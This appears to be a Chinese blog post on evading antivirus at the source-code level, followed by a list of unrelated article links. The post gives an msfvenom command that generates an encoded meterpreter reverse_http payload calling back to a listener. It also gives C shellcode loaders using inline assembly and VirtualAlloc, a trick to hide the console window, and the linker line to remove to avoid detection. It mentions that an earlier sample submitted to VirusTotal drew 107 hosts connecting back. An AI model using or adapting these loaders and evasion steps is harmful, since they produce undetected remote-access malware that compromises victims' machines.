简单的源码免杀过av
1、前言
经常看到各种免杀的例子,源码免杀、二进制免杀、加载器免杀等等,最近来学习了一下源码层面的免杀,在实验过程中与杀软对抗最终成功免杀,写下本文做个记录。
2、shellcode生成和二进制文件编译
开始前有个小插曲,用360扫了扫之前编译的样本,当时v站查杀率1/72(提交到v站后cs一共上线了107台主机,emm):
今天扫描的时候:
啊... Q哒不妞Q(Qwq)
好了不说了,进入正题,首先我们使用msfvenom生成C语言shellcode:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai -i 12 -b 'x00' LHOST=192.168.8.102 LPORT=6666 -f c
然后网上找了一段C语言加载shellcode的代码。
通过内联汇编加载shellcode:
#include<stdio.h>
#include<windows.h>
#include <time.h>
#pragma comment(linker, "/OPT:nowin98")
#pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"") //不显示窗口
unsigned char buf[] ="shellcode";
int main(int argc,char const *argv[])
{
//内联汇编
__asm
{
lea eax,buf;
call eax;
}
}
话不多说,先编译上线测试,启动msf监听:
handler -p windows/meterpreter/reverse_http -H 0.0.0.0 -P 6666
另一边编译源码,生成exe:
双击执行exe,msf上线:
执行过程发现没有被拦截,看起来这已经免杀了:
好的,免杀成功,本文结束。
3、VS免杀测试
结束是不可能结束的,不然怎么混篇幅,只能换个不免杀的编译器,被杀了再随便改改源码这样子。
用VS2019来编译源码,启动vs:
是吧,被发现了,我们将恶意代码全部删除后编译,发现还是被杀:
emmm? 怎么办啊,这都杀!? 其实有朋友应该注意到了下面这段代码,好吧 ,我是故意没删的,因为特征就是在这:
#pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"")
接下来将这段代码删除,重新生成exe,然后进行扫描,发现成功过了杀软:
vs编译的这个内联加载不能正常上线,修改下加载方法:
#include<stdio.h>
#include<windows.h>
#include <time.h>
int main(int argc, char const* argv[])
{
unsigned char buf[] ="shellcode";
void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
return 0;
}
那么编译执行后会有个DOS窗口:
这里我们ShowWindow函数来隐藏窗体:
需要两个参数:
一个是程序窗口句柄,可以通过GetConsoleWindow 来获得当前窗口句柄,
另一个是int类型的nCmdShow,来控制窗口的状态,这里使用SW_HIDE来隐藏窗口:
ShowWindow(GetConsoleWindow(), SW_HIDE);
然后再编译执行和免杀测试,可以看到免杀且无窗口:
4、参考
https://www.zhihu.com/question/282945808 https://blog.csdn.net/zac_sian/article/details/46778285 https://docs.microsoft.com/en-us/windows/console/getconsolewindow https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow
end
- TiDB 源码阅读系列文章(五)TiDB SQL Parser 的实现
- [go语言]吐槽:怎么样实现支持并发访问的数据集合更好?
- 利用缓冲信道来实现网游帐号验证消息的分发和等待
- Buffered channel、slice和mutex的简单性能测试
- 原子读写性能简单测试
- 从小白变RSA大神,附常用工具使用方法及CTF中RSA典型例题
- select多路选择的模拟实现
- 初学者需要注意的问题-变量的作用域
- 在 Go 语言中,正确的使用并发
- Injectify:一款执行MiTM攻击的工具
- 看我如何发现Google云平台漏洞并获得$7500赏金
- Go语言写Web 应用程序
- 小萝莉说Crash(一):Unrecognized selector sent to instance xxxx
- 游戏服务器之多线程发送(上)
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 关于修改window.navigator.webdriver代码失效问题
- 一文带你了解Python爬虫(二)——四种常见基础爬虫方法介绍
- 当 snapshot 失败时发生了什么
- python 文件管理神器os.walk-文件指定日期整理程序
- 项目驱动-两日速成Docker日记
- python os模块 --- 操作系统接口模块
- 自动采集各种美女图片站并下载图和自动搭建图片站
- 修改其他函数的功能的神器——python装饰器
- AllTube:视频解析下载源码安装教程
- Zsh和Oh My Zsh的安装配置
- 程序猿怎么利用技术挣钱?——python量化实践
- 利用WireGuard建立IPv6隧道
- selenium爬虫相关报错解决
- 小涴熊漫画CMS:非常不错的免费开源的漫画连载系统,带采集API
- 成都电信宽带获取IPV6地址全过程